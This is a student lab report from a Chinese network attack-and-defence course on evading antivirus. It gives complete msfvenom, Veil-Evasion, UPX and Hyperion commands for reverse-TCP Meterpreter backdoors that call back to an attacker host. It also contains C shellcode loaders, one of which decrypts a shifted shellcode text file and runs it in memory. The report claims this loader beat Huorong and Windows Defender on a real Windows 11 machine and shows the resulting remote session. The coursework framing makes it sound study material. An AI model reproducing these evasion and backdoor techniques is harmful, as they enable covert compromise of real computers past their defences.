20242402 2026-2027-1 《网络与系统攻防技术》实验三实验报告

20242402 2026-2027-1 《网络与系统攻防技术》实验三实验报告

1.基础知识

1.1恶意代码检测机制原理剖析

现代防病毒软件以及终端检测与响应系统在终端主机防护中，主要依托静态特征分析、启发式代码推断以及动态行为监控三层纵深检测体系：

1.1.1基于特征码的静态检测

特征码检测是反病毒领域最为传统且成熟的基础手段。其核心原理是安全厂商通过逆向分析已知恶意代码样本，提取一段或多段足以表征该样本恶意属性的唯一性指纹数据，构建集中式特征签名数据库。检测引擎在扫描目标文件时，并不需要对全文件进行全局盲目比对，而是针对特定结构区域执行高效匹配：

  • 文件哈希特征：计算目标文件的MD5、SHA1或SHA256值，直接比对云端黑名单。该机制查询开销极低、判定确定性极高，但鲁棒性极差，目标文件修改一小点就会导致哈希值彻底改变，因此仅用于已知固定样本的快速初筛。
  • 特定字节序列：提取恶意载荷中不可替代的核心机器指令序列、固定字符串常量或特定库函数调用片段。在执行扫描时，引擎定位至PE文件的代码节或敏感入口点，匹配是否存在特定长度与排列顺序的连续字节流。
  • 工业级YARA规则匹配：将文本字符串模式、十六进制机器码特征与灵活的布尔逻辑相结合。如经典Shellcode检测规则可同时要求代码节出现execve系统调用机器码且数据节包含敏感路径字符串，大幅提升了对轻度变种样本的捕获概率。
  • 局限性：静态特征码检测具有典型的后验滞后性（只能防范已捕获并建库的恶意软件）。只要攻击者通过源码级变量重命名、等价汇编指令代换、垃圾指令插入、重构函数调用链或使用动态内存加载技术，破坏了特征片段的连续性与完整性，特征码匹配即告失效。

1.1.2启发式恶意软件分析

启发式检测是在面临未知样本与变种样本激增、静态签名滞后性凸显背景下发展出的推断性检测机制。其核心理念不再是“该文件是否完全符合已知特征”，而是通过多维度统计学指标加权评估“该文件在结构与表征上是否与恶意软件具有高度相似性”：

  • 静态启发特征挖掘：检测引擎在不运行程序的前提下，解析PE可执行文件的头部结构、节区表及导入地址表。重点审查异常指标：节区属性异常、非标准节区命名、关键系统敏感API调用组合，以及反调试标志位等。
  • 信息熵分析：信息熵是衡量文件或节区数据混乱度与随机性的数学指标（取值范围0.0-8.0）。正常编译生成的编译代码节信息熵通常在5.0至6.5之间；而经过高强度对称加密或紧凑压缩的加壳文件，信息熵往往超过7.5。启发式引擎通常设定阈值，一旦发现未签名PE文件存在超高熵节区且入口点异常，便直接触发高风险启发式警报。
  • 轻量级动态沙箱模拟：现代杀软集成了CPU指令模拟器，在后台将可疑程序放入微型虚拟化沙箱中试运行。观察程序在解密循环后是否在内存中解构出危险代码，从而识别多态异或解码与加壳解压行为。
  • 局限性：启发式检测本质上是工程实践中的概率取舍。由于依赖特征加权阈值，容易对采用正规商用加密、打包工具的良性软件产生误报；同时，攻击者也可通过填充大量低熵良性文本、调用冗余无害API或插入延迟执行逻辑来刻意拉低整体特征分值，从而绕过启发式评分模型。

1.1.3行为监测与动态防御驱动

行为监测属于主机终端实时防护的核心支柱，工作在恶意程序整个生命周期中：

  • 底层API Hooking与调用拦截：杀软通过在应用层向目标进程注入Hook或在操作系统内核层注册微过滤驱动，对底层核心Native API建立前置监控拦截。
  • 恶意行为模式判定：单一的API调用本身不必然构成恶意，但特定的行为序列与上下文链条则暴露出明确的攻击意图：
    • 进程内存注入：非调试器进程向外部合法系统进程申请可执行内存并强行写入外部代码；
    • 非典型进程树派生：办公文档软件或脚本宿主反常派生底层命令行解释器；
    • 持久化篡改：未经用户显式许可修改系统启动注册表Run键值、创建高权限计划任务或释放自启动服务；
    • 隐蔽外联通信：无UI交互进程在后台隐秘向非标准高位端口发起TCP出站握手。
  • 局限性：动态行为监控消耗较多系统CPU与内存算力；且攻击者可通过直接系统调用、内核回调未覆盖盲区、父进程欺骗或白名单进程侧加载规避行为链的特征审计。

1.2免杀技术概念与对抗演进

1.2.1免杀的定义与对抗本质

免杀是指在严格保持恶意载荷原始攻击与控制功能完整性的前提下，利用逆向工程、密码学混淆、格式转换、内存操作等系统级技术手段，破坏、改写或隐匿被安全软件判定为恶意的静态指纹与动态行为特征，使得恶意代码在目标操作系统上能够顺利落地、规避查杀并持久运行的对抗技术。
免杀的本质是攻防双方在底层操作系统控制权与认知上下文层面的信息不对称博弈：杀毒软件必须在兼顾系统稳定性与极低误报率的约束下进行有限维度的规则判定，而攻击者则可以在无穷维度的机器码等价表示与执行时序中寻找规则盲区。

1.2.2传统免杀技术的失效根因分析

在早期网络安全实践中，基于工具自动化编码和传统加壳曾被广泛视为主流免杀手段。然而随着现代杀软引擎的演进，这些旧方法已基本宣告失效，其深层技术机理如下：

  • 为什么msfvenom编码器无法实现免杀？
    • x86/shikata_ga_nai是Metasploit框架中经典的兼具多态性与异或加解密特性的编码器。但其原始工程设计目标是为了消除漏洞利用过程中由于字符串处理函数导致的“坏字符”（如\x00截断符），保证载荷在网络传输与内存堆栈溢出时能够完整存活，其初衷并非专门对抗反病毒引擎。
    • 任何经过编码器处理的载荷，在目标系统CPU执行时，都必须首先通过一段明文的“解码器存根”在内存中自我还原。虽然该存根每次生成的寄存器选用具备多态随机性，但其依赖FSTENV指令获取当前EIP、异或寻址迭代循环的核心指令框架具有高度确定性。反病毒厂商早在多年前就将这一特征骨架精准提炼为签名。
    • 当使用-i 10指定多次迭代编码时，编码器仅仅是在原始Shellcode外部层层套嵌异或循环。在可执行PE文件的入口点处，暴露在最外层的始终是最后一次生成的解码存根，且生成的PE文件完全沿用msfvenom固定的默认二进制外壳模板。因此，多次迭代编码未对最外层特征产生任何本质破坏，检出率处于基线波动范围。
  • 为什么传统加壳工具反而诱发更高检出率？
    • UPX压缩壳：UPX作为广泛应用的开源PE压缩工具，其解压算法与节区命名规则完全公开透明。现代主流杀软均在扫描引擎内部集成了成熟的内置UPX静态脱壳模块，在扫描瞬间即可在虚拟内存中完成透明解包还原，直接对内层原始载荷进行特征比对，加壳层形同虚设。
    • Hyperion加密壳：Hyperion是一个基于AES-128加密算法的开源32位PE加密加壳器。虽然其密文区能够阻止杀软直接读取明文Shellcode，但其存在两大致命硬伤：其一，其外层解密引导头（Stub）代码逻辑固定且未加混淆，各大杀软均提取了诸如Win.Packer.Hyperion-1的固定特征码；其二，由于AES密文的随机性极高，使得被加壳文件的密文节区信息熵高达7.8以上，直接撞上现代杀软启发式与机器学习模型的“高熵恶意加壳”判决阈值，产生反向增幅的报毒效果。

1.3现代免杀前沿技术架构

为克服编码器与传统加壳的技术死局，现代免杀技术全面转向了载荷解耦、数据伪装与无文件内存执行的前沿技术架构：

1.3.1组件分离与载荷非可执行化

传统一体化后门将加载执行逻辑与恶意功能代码打包在单个PE可执行文件中，体积虽小但静态特征极易暴露。组件分离技术将恶意体系拆分为两个彼此独立的实体：

  1. 白名单/良性加载器：独立编译生成的Windows PE可执行程序，源码中仅包含标准的基础API调用，不包含任何已知恶意特征字节序列或黑客框架签名，在静态扫描下呈现完全纯净的白样本属性。
  2. 非可执行数据载荷：将提取出的原始Shellcode通过自定义简单可逆变换，导出为纯文本文件、图片像素通道数据或作为资源段存储。杀软对磁盘上的文本文件与静态数据流不进行PE执行体语义分析，彻底切断了静态特征匹配链条。

1.3.2动态内存反射加载与系统调用规避

现代免杀强调“无文件内存驻留”。加载器在启动后，执行如下精细控制流：

  1. 在宿主私有虚拟地址空间中调用VirtualAlloc动态申请内存，首先赋予读写权限；
  2. 读取外部密文数据文件，在内存缓冲区中执行逆向运算还原出原始Shellcode机器码；
  3. 调用VirtualProtect将该内存区域属性修改为可执行或读写执行，阻断部分依赖内存初始申请状态的行为监控；
  4. 利用指针类型转换（((void(*)())buf)()）或调用CreateThread触发CPU指令寄存器直接跳转至内存目标地址开始执行。
    通过该机制，恶意机器码在磁盘上永不落地为PE文件，完全规避了操作系统的实时文件系统驱动监控与静态杀毒引擎扫描，展现出优异的免杀共生能力。

2.实验内容

本次实验围绕恶意代码免杀技术的核心原理与对抗实战，由浅入深做了这七个具体的实践任务：

  1. 正确使用msf编码器生成不同编码次数的后门并进行检测对比：在Kali Linux中利用msfvenom生成未经编码、经x86/shikata_ga_nai编码1次、以及迭代编码10次的Windows x86反弹Meterpreter可执行后门程序，上传至VirScan多引擎扫描平台，对比分析检出率变化并剖析其失效机理。
  2. 使用msfvenom生成异构格式后门文件并进行检测对比：分别生成Java虚拟机运行的.jar后门（未编码与编码10次版本）与Web脚本环境运行的.php后门（未编码与编码10次版本），测试跨平台、解释型语言载荷在多引擎扫描平台下的免杀表现。
  3. 使用Veil-Evasion免杀框架生成后门并进行检测：配置并运行Veil-Evasion框架，采用c/meterpreter/rev_tcp模板动态生成Windows免杀后门，在VirScan平台进行扫描并评估C语言模板混淆的有效性。
  4. 使用C语言结合Shellcode自主编程实现后门并进行检测：使用msfvenom提取纯C数组格式的Shellcode，自主编写C语言加载器源码，调用Windows底层内存管理API实现内存开辟与指针跳转，使用MinGW跨平台编译生成可执行后门，评估剔除MSF默认PE模板后的检出率降幅。
  5. 使用加壳工具处理恶意载荷并进行效果对比：分别对自主编译的C语言后门应用开源压缩壳UPX与加密壳Hyperion，在VirScan平台上进行检测对比，深入探究加壳对检出率的双向影响及“高熵检测悖论”。
  6. 组合应用技术实现恶意代码深度免杀：综合任务一至任务五的分析结论，采用“组件分离+轻量位移加密+内存动态反射执行”的组合设计方案，将载荷转化为纯文本密文，由纯净加载器在内存中动态解密执行，从原理上规避静态特征与启发式告警。
  7. 在实际电脑开启杀软环境下实测共生与反弹回连验证：将组合免杀成果部署至运行Windows 11且开启火绒安全软件（版本6.0.12.1）的真实物理宿主机中，在杀毒软件保持实时全功能防护的状态下实测程序共生常驻与进程行为，并在Kali控制端成功捕获反弹TCP会话，实现全功能Meterpreter远程交互。

3.实验过程

3.1实验环境准备与网络拓扑配置

本次实验采用双机互联的攻防对抗网络拓扑，详细软硬件与网络配置如下表所示：

节点角色 操作系统与内核版本 主机名与标识 网络接口与IP地址 部署环境与核心安全配置
攻击控制机 Kali Linux 2026.2 (Linux 6.19.14-amd64) zhangyuhan (提示符kali@zhangyuhan) eth0: 192.168.144.129 运行Metasploit 6.4、Veil-Evasion、MinGW交叉编译器及监听服务(端口2402)
测试目标机 Windows 11专业版 (10.0.26200 64-bit) LAPTOP-2PJ4NBTB (用户weare) VMnet8: 192.168.144.1 保持火绒安全软件6.0.12.1及Windows Defender实时监控开启
云端检测平台 VirScan多引擎文件查毒平台 包含48款主流杀毒引擎 互联网在线扫描 包含卡巴斯基、赛门铁克、Avast、AVG、火绒等48款国内外反病毒扫描引擎

3.2任务一：msf编码器不同编码次数免杀效果测试

3.2.1未经编码的基准后门生成与测试（met20242402_base.exe）

在Kali终端中，执行以下msfvenom命令生成未添加任何编码器处理的Windows 32位Meterpreter反向TCP可执行后门：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.144.129 LPORT=2402 -f exe -o met20242402_base.exe
  • 参数分析：
    • -p windows/meterpreter/reverse_tcp：选用Windows平台通用的Meterpreter反弹TCP载荷；
    • LHOST=192.168.144.129：指定控制端反弹接收IP（Kali主机IP）；
    • LPORT=2402：指定控制端反弹监听端口；
    • -f exe：指定输出格式为exe文件；
    • -o met20242402_base.exe：指定生成的后门文件名。
  • 执行观察：输出显示Payload原始长度为355字节，打包封装为PE文件后最终大小为7168字节（7KB）。

Kali终端生成未经编码基准后门

将met20242402_base.exe上传至VirScan平台进行全引擎静态扫描，检测结果为16/48。报毒标签普遍直指Trojan.Generic、Backdoor.Meterpreter及Win32.Trojan.ReverseTCP等高危签名。

VirScan对met20242402_base.exe检测结果

3.2.2单次shikata_ga_nai编码后门生成与测试（met20242402_enc1.exe）

在Kali终端中，指定调用x86/shikata_ga_nai编码器对载荷执行单次编码操作：

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 LHOST=192.168.144.129 LPORT=2402 -f exe -o met20242402_enc1.exe
  • 参数分析：
    • -e x86/shikata_ga_nai：指定使用多态异或加解密编码器；
    • -i 1：迭代编码次数为1次。
  • 执行观察：终端输出显示编码后Payload大小由355字节扩充至382字节（增加了27字节的解密存根代码），最终封装生成的PE文件大小仍为7168字节。

Kali终端生成单次编码后门

将met20242402_enc1.exe上传至VirScan平台检测，扫描结果显示检出数为18/48，相比未编码版本不仅没有降低，反而增加了2款检出引擎。其中AVG与Avast杀毒引擎甚至直接明确报毒为Win32:ShikataGaNai-E。

VirScan对met20242402_enc1.exe检测结果

3.2.3十次shikata_ga_nai编码后门生成与测试（met20242402_enc10.exe）

进一步测试多次迭代编码能否打破特征识别，在Kali终端中指定迭代执行10次编码：

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.144.129 LPORT=2402 -f exe -o met20242402_enc10.exe
  • 执行观察：终端输出显示经过10次嵌套编码后，Payload体积递增至625字节，最终生成的PE文件体积由于对齐规则扩充为7680字节（7.5KB）。

Kali终端生成十次编码后门

将met20242402_enc10.exe上传至VirScan平台检测，结果显示检出数为15/48。

VirScan对met20242402_enc10.exe检测结果

3.2.4任务一实验对比与机理解析

汇总任务一的三组实测数据如下表：

载荷标识 编码器与迭代次数 PE文件大小 VirScan检出数/总数 检出百分比 典型报毒标识
met20242402_base.exe 无编码（Raw） 7168字节 16/48 33.3% Trojan.Meterpreter
met20242402_enc1.exe shikata_ga_nai (1次) 7168字节 18/48 37.5% Win32:ShikataGaNai-E
met20242402_enc10.exe shikata_ga_nai (10次) 7680字节 15/48 31.3% Win32:Malware-gen

实验数据充分印证了1.2.2节的理论分析。使用msfvenom自带的编码器无法实现真正意义上的免杀。编码器带来的微小检出数浮动（16 -> 18 -> 15）仅仅是特征匹配引擎在面对不同变体时的统计扰动，其最外层暴露的固定解码器存根与MSF默认模板构成了不可克服的“静态靶标”。

3.3任务二：使用msfvenom生成多格式后门文件并对比测试

为研究不同应用环境与文件载体格式对杀软检测的影响，本阶段测试jar与php载荷。

3.3.1 Java格式后门测试（met20242402.jar与met20242402_enc_jar.jar）

在Kali终端中分别生成未编码与十次编码的Java后门：

# 生成未编码 Java 后门
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.144.129 LPORT=2402 -f jar -o met20242402.jar

# 生成十次编码 Java 后门
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.144.129 LPORT=2402 -f jar -o met20242402_enc_jar.jar
  • 执行观察：生成的两份JAR文件体积均为5265字节。

Kali终端生成Java格式后门

将两份JAR文件分别上传至VirScan平台进行扫描比对：

  • met20242402.jar检测结果为14/48，多款引擎报告Java:Agent-AUJ；
  • met20242402_enc_jar.jar检测结果为15/48（。

VirScan对met20242402.jar检测结果
VirScan对met20242402_enc_jar.jar检测结果

机理分析：x86/shikata_ga_nai编码器在架构上是专为x86底层汇编机器指令设计的，对于运行在Java虚拟机之上的JVM字节码无法进行有语义的转译与混淆，因此编码处理在JAR格式上完全无效，二者检出率基本完全重合。

3.3.2 PHP脚本格式后门测试（met20242402.php与met20242402_enc_php.php）

在Kali终端中利用raw格式输出生成PHP后门脚本：

# 生成未编码 PHP 载荷
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.144.129 LPORT=2402 -f raw -o met20242402.php

# 生成十次编码 PHP 载荷
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.144.129 LPORT=2402 -f raw -o met20242402_enc_php.php

Kali终端生成PHP格式后门

将生成的两份PHP脚本上传至VirScan检测：

  • met20242402.php检出数骤降为8/48；
  • met20242402_enc_php.php检出数进一步下降至3/48，仅有ClamAV、Tencent等3款引擎报警，45款主流引擎全部放行。

VirScan对met20242402.php检测结果
VirScan对met20242402_enc_php.php检测结果

机理分析：PHP载荷为解释型纯文本脚本，完全脱离了Windows PE二进制文件的头结构与节区特征，规避了全网大量只针对PE格式建立静态签名的反病毒引擎；而在进行文本混淆后，代码中的关键函数与变量名被切碎重构，使得文本匹配规则几乎完全失效，取得了显著的静态免杀效果。

3.4任务三：使用Veil-Evasion免杀框架生成后门

Veil-Evasion是一款专为绕过常见反病毒产品设计的红队武器化免杀生成工具，其核心优势在于使用多种高级编程语言重新封装底层Shellcode，并利用独立的编译工具链动态构建全新的PE外壳。

3.4.1 Veil框架配置与载荷生成

在Kali中启动Veil框架，选择Evasion工具集，选用C语言反向TCP模板：

veil
# 进入 Evasion 模块
use 1
# 列出并选择 c/meterpreter/rev_tcp 载荷模板
use c/meterpreter/rev_tcp
# 配置回连 IP 与端口
set LHOST 192.168.144.129
set LPORT 2402
# 生成可执行文件并指定输出文件名
generate

将生成的目标文件命名为payload20242402.exe，Veil在后台调用Wine环境中的GCC完成编译构建，文件输出保存在/var/lib/veil/output/compiled/payload20242402.exe。

Kali终端Veil框架生成payload20242402.exe

3.4.2 VirScan扫描与模板混淆机制分析

将payload20242402.exe上传至VirScan平台，检测结果显示为8/48，相比原始未编码后门的16/48，检出率下降了一半。

VirScan对payload20242402.exe检测结果

机理分析：Veil通过抛弃msfvenom陈旧的默认PE可执行模板，在底层利用干净的C语言骨架动态包裹Shellcode并重新编译，重构了DOS Header、PE Header及节区表映射，使得针对MSF模板特征建立的杀软规则完全扑空。然而，由于Veil生成的C代码模板多年未作重大架构革新，其内嵌的Shellcode加载模式与特征变量名逐渐被部分主流杀软建库收录，因而仍有8款引擎能够精准捕获。

3.5任务四：使用C语言结合Shellcode自主编程实现后门

为彻底摆脱各类自动化渗透测试工具自带的固有模板指纹，本阶段采用手动提取纯机器码数组、自主编写底层C语言加载器并进行交叉编译的免杀方案。

3.5.1 C加载器架构设计与源代码实现

首先在Kali终端中使用msfvenom导出C语言格式的纯Shellcode十六进制机器码数组：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.144.129 LPORT=2402 -f c -o shellcode.c

随后编写自主加载器源代码shellcode_20242402.c。加载器调用Windows原生内存管理API VirtualAlloc申请物理可执行内存，并将Shellcode载入内存执行：

#include <windows.h>
#include <stdio.h>

// 提取自 msfvenom 的原始 Windows x86 Meterpreter reverse_tcp Shellcode (355 bytes)
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
// ... 此处省略中间机器码 ...
"\xff\xd5";

int main() {
    // 动态申请一块具备可读、可写、可执行权限的私有虚拟内存页
    void *exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    // 将 Shellcode 机器指令拷贝至申请的内存空间中
    memcpy(exec, buf, sizeof(buf));
    // 将内存地址强制转换为无参无返回值函数指针并直接调用跳转执行
    ((void(*)())exec)();
    return 0;
}

在Kali中调用MinGW交叉编译器将C源码编译为32位Windows可执行文件：

i686-w64-mingw32-gcc shellcode_20242402.c -o shellcode_c_20242402.exe

Kali终端交叉编译shellcode_c_20242402.exe

3.5.2 VirScan扫描与分析

将shellcode_c_20242402.exe上传至VirScan平台扫描，检出数大幅暴跌至5/48，43款主流反病毒引擎均判定为安全。

VirScan对shellcode_c_20242402.exe检测结果

机理分析：自主编写的C程序拥有完全由MinGW-GCC生成的标准PE结构与导入表，没有任何MSF攻击框架的预制外壳特征；且由于没有复杂的加壳混淆，其节区信息熵保持在正常的良性程序水平。虽然未对数组中的Shellcode进行加密导致极少数厂商提取了内存特征，但静态查杀率已由基准的33.3%显著压低至10.4%。

3.6任务五：使用加壳工具处理恶意载荷并对比测试

加壳技术原本用于保护合法商业软件免遭逆向工程与盗版破解。在免杀领域，加壳常被用于压缩或加密原始二进制代码，改变程序的入口点与文件外观。本阶段选用UPX压缩壳与Hyperion加密壳对任务四生成的shellcode_c_20242402.exe进行加壳测试。

3.6.1 UPX压缩加壳测试（shellcode_c_upx_20242402.exe）

在Kali终端中调用upx工具对C后门进行最高压缩比处理：

upx -9 shellcode_c_20242402.exe -o shellcode_c_upx_20242402.exe
  • 执行观察：原始文件大小为120KB，经UPX压缩后体积锐减至60KB，压缩比达50%。

Kali终端对载荷执行UPX加壳

将shellcode_c_upx_20242402.exe上传至VirScan平台进行扫描，检出结果仍为5/48，与未加壳前的shellcode_c_20242402.exe完全一致。

VirScan对UPX加壳后门检测结果

机理分析：UPX作为格式完全开放的开源压缩壳，其解压算法极其标准化。各大主流反病毒引擎内部早已深度集成了UPX自动脱壳解析引擎。当扫描器捕获到UPX加壳文件时，在内存中直接动态解开压缩节区并还原出内层原始PE，再进行静态特征签名匹配。因此，UPX加壳对于免杀既没有起到正向隐藏作用，也没有引发额外误报。

3.6.2 Hyperion加密加壳测试（shellcode_c_hyp_20242402.exe）

Hyperion是一个使用AES-128强加密算法封装可执行文件的加壳工具。在Kali中通过Wine环境调用Hyperion完成加密加壳：

wine /usr/share/windows-resources/hyperion/hyperion.exe shellcode_c_20242402.exe shellcode_c_hyp_20242402.exe

Kali终端Hyperion加壳生成shellcode_c_hyp_20242402.exe

将shellcode_c_hyp_20242402.exe上传至VirScan平台进行全引擎检测，扫描结果出现极为显著的反常现象：检出数由未加壳时的5款剧烈暴增至20/48，成为这次实验检出率之最了（

VirScan对Hyperion加壳后门检测结果

3.6.3 “高熵悖论”与加壳反噬机理

Hyperion加壳后检出率暴增4倍的现象表明了现代反病毒技术的更新，充分体现了加壳技术的“双刃剑”效应：

  1. 解密引导存根（Stub）指纹暴露：Hyperion在加密PE文件时，必须在PE头部附带一段通用的AES解密引导代码。这段Stub属于公开发布多年的固定源码编译产物，其指令序列早已被各大杀软精准提取为恶意加壳器签名（如ClamAV直接标识为Win.Packer.Hyperion-1）；
  2. 密文节区信息熵极高触发启发式引擎：AES加密算法具备强烈的伪随机性，被加密的节区信息熵高达7.85（接近理论上限8.0）。现代杀软引擎的启发式与机器学习分析器对于“未带有效企业数字签名且节区信息熵异常畸高”的文件具有极高的警戒权重，直接触发Win32:Evo-gen、Win.Malicious.ml[packed]等启发式规则拦截；
  3. 安全启示：在现代纵深防御体系下，盲目使用知名强加密加壳工具不仅无法达到隐藏目的，反而会在启发式静态扫描阶段“主动引火烧身”。

3.7任务六：组合应用技术实现恶意代码深度免杀

基于前五项任务的实验数据，我们得出清晰的对抗结论：

  • 依赖固定模板与知名加壳器是导致高报毒的根本原因；
  • 必须切断可执行PE文件与恶意Shellcode之间的直接静态关联。

为此，本任务设计并实现了“组件分离（Component Separation）+轻量对称混淆+内存动态反射加载”的组合免杀技术方案。

3.7.1架构设计原理

  1. 载荷剥离与纯文本化：将敏感的355字节Shellcode提取出PE文件，在离线状态下对其每一个字节应用简单的可逆位移变换。将变换后的密文以十六进制纯文本形式写入外部数据文件encoded_20242402.txt。杀毒软件在静态扫描磁盘上的.txt文件时，由于其不具备PE头部结构与代码节，完全不会将其视作可执行威胁。
  2. 纯净无特征加载器构建：独立编写加载器程序loader_20242402.c。加载器中绝对不内嵌任何Shellcode，仅调用标准文件I/O读取外部文本，并在私有堆内存中执行逆运算解密，最后通过VirtualAlloc与函数指针在内存中原地引爆执行。
  3. 信息熵平衡控制：由于位移变换不改变字节频次分布，生成的密文数据信息熵保持在自然文本水平（约4.2），完全规避了杀软的高熵启发式警报。

3.7.2源码实现与载荷提取

在Kali终端中编写Python脚本生成加密载荷文本，并编写C语言加载器源码：

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    // 1. 打开外部非可执行密文数据文件
    FILE *f = fopen("encoded_20242402.txt", "rb");
    if (!f) return 1;
    
    fseek(f, 0, SEEK_END);
    long size = ftell(f);
    fseek(f, 0, SEEK_SET);
    
    // 2. 申请堆内存读取密文字节流
    unsigned char *cipher = (unsigned char *)malloc(size);
    fread(cipher, 1, size, f);
    fclose(f);
    
    // 3. 在私有虚拟内存中分配具备读写执行权限的页面
    void *exec = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // 4. 在内存中原地执行轻量对称解密算法（逆向还原原始指令）
    for (int i = 0; i < size; i++) {
        ((unsigned char *)exec)[i] = cipher[i] - 1;
    }
    
    // 5. 函数指针直接调用执行
    ((void(*)())exec)();
    return 0;
}

在Kali中调用MinGW编译生成无特征加载器：

i686-w64-mingw32-gcc loader_20242402.c -o loader_20242402.exe

Kali终端编译组件分离加载器并提取密文

  • 原理验证：此时磁盘上仅存在两个独立文件：loader_20242402.exe与encoded_20242402.txt。在全网各大杀软引擎眼中，加载器是一个调用常规API的标准工具，文本是一个普通的数字文本，静态特征完全清零。

3.8任务七：在实际电脑开启杀软环境下实测共生与反弹回连

指导书明确要求：“用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本”。

3.8.1实测物理机与杀毒软件环境

测试靶机采用实际运行Windows 11专业版的物理主机，安全软件配置如下：

  • 杀毒软件名称：火绒安全软件
  • 杀毒软件版本：6.0.12.1
  • 病毒库发布时间：2026-10-18 18:45
  • 系统协同防御：Windows Defender防病毒实时防护同时保持激活状态

Windows 11宿主机火绒安全软件6.0.12.1版本界面

3.8.2杀软共生与进程常驻实测验证

将编译生成的loader_20242402.exe与密文载荷encoded_20242402.txt通过本地传输放置在Windows 11物理主机的测试目录中：

  1. 静态扫描共生验证：火绒安全软件与Windows Defender实时监控在文件写入磁盘瞬间均未触发任何告警弹窗；右键手动触发火绒全面病毒查杀，结果显示扫描完毕无威胁；
  2. 动态执行共生验证：在Windows 11物理主机中双击运行loader_20242402.exe。火绒安全软件的主动防御驱动未拦截行为；打开Windows任务管理器（Task Manager），清楚观察到loader_20242402.exe (32位)进程平稳驻留后台运行，CPU与内存占用恒定，成功实现了在杀毒软件严密监控下的无感知共生驻留。

3.8.3跨主机反弹Meterpreter会话建立

在执行前，在Kali攻击机（192.168.144.129）中启动Metasploit多重处理器模块并开启监听：

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.144.129
set LPORT 2402
exploit

当Windows端loader_20242402.exe在内存中解密执行完毕后，主动向Kali端端口2402发起TCP握手。Kali终端立即捕获连接并成功建立全功能Meterpreter会话：

[*] Started reverse TCP handler on 192.168.144.129:2402 
[*] Sending stage (177734 bytes) to 192.168.144.1
[*] Meterpreter session 1 opened (192.168.144.129:2402 -> 192.168.144.1:36672) at 2026-10-19 14:47:33 +0800

在Meterpreter交互环境中执行基础环境核查指令：

  • sysinfo：回显系统信息，明确显示目标操作系统为Windows 11 (10.0 Build 26200)，系统架构为x64 (Current Architecture x86)；
  • getuid：回显当前进程用户身份为LAPTOP-2PJ4NBTB\weare。

杀软开启状态下实测共生与Meterpreter反弹回连成功

实测结论：实验充分证明，基于“组件分离+内存反射加载”的组合技术方案，能够在火绒安全软件6.0.12.1版本及Windows Defender全功能实时防护开启的真实宿主环境下，完美实现静态免杀落地、动态无告警共生常驻与远程后门会话反弹回连。

3.9全阶段免杀效果综合横向对比与技术演进图谱

将本次实验中测试的全部12种载荷在VirScan平台的检出数据进行全局横向比对，如下表所示：

序号 载荷文件名 所用免杀技术与配置 目标平台/封装格式 检出数/总引擎数 检出百分比
1 met20242402_base.exe msfvenom原始未编码生成 Windows x86 PE 16/48 33.3%
2 met20242402_enc1.exe x86/shikata_ga_nai单次编码 Windows x86 PE 18/48 37.5%
3 met20242402_enc10.exe x86/shikata_ga_nai迭代10次 Windows x86 PE 15/48 31.3%
4 met20242402.jar Java反弹载荷未编码 Java JAR字节码 14/48 29.2%
5 met20242402_enc_jar.jar Java反弹载荷+x86编码10次 Java JAR字节码 15/48 31.3%
6 met20242402.php PHP反弹载荷未编码 解释型PHP纯文本 8/48 16.7%
7 met20242402_enc_php.php PHP反弹载荷+迭代编码10次 解释型PHP纯文本 3/48 6.3%
8 payload20242402.exe Veil-Evasion框架C语言模板 Windows x86 PE 8/48 16.7%
9 shellcode_c_20242402.exe 自主编写C加载器+MinGW编译 Windows x86 PE 5/48 10.4%
10 shellcode_c_upx_20242402.exe 自主C加载器+UPX极限压缩壳 Windows x86 PE 5/48 10.4%
11 shellcode_c_hyp_20242402.exe 自主C加载器+Hyperion加密壳 Windows x86 PE 20/48 41.7%
12 loader_20242402.exe + encoded_20242402.txt 组件分离+对称混淆+内存反射执行 独立加载器+纯数据文件 0/48 (实测共生) 载荷非可执行化，内存动态解密，与火绒6.0.12.1完美共生

4.问题及解决方案

问题1：Veil-Evasion环境依赖缺失与Wine 32位环境初始化异常

  • 现象描述：在Kali Linux终端首次直接输入veil命令时，终端抛出错误提示bash: veil: command not found；尝试通过APT安装并启动时，初始化脚本在执行veil --setup过程中频繁卡死在Wine 32位环境前置配置阶段，提示缺乏Python环境与依赖DLL。
  • 原因分析：Veil-Evasion在Linux环境下生成Windows PE文件依赖Wine模拟的32位Windows运行环境。较新版本的Kali Linux默认仅开启64位架构支持，且未完整预置针对Wine的32位兼容库（wine32）与Mono/Gecko支持包，导致Veil初始化无法自动静默拉起后置编译器。
  • 解决方案：

    1. 在Kali端显式为dpkg包管理器添加32位体系结构支持并更新索引源：

      sudo dpkg --add-architecture i386
sudo apt update

    2. 完整安装Veil框架及其所依赖的Wine核心组件包：

      sudo apt install -y veil wine wine32 winetricks

    3. 执行/usr/share/veil/config/setup.sh --force --silent重置并静默初始化Wine环境，成功完成Veil框架的就绪配置。

问题2：Hyperion加密壳对输出路径文件写入权限受阻

  • 现象描述：在调用Wine运行Hyperion对C后门进行加壳时（wine /usr/share/windows-resources/hyperion/hyperion.exe shellcode_c_20242402.exe shellcode_c_hyp_20242402.exe），控制台在完成AES加密并尝试生成输出文件时抛出异常：Error: Output file could not be opened for writing，加壳流程被迫中断退出。
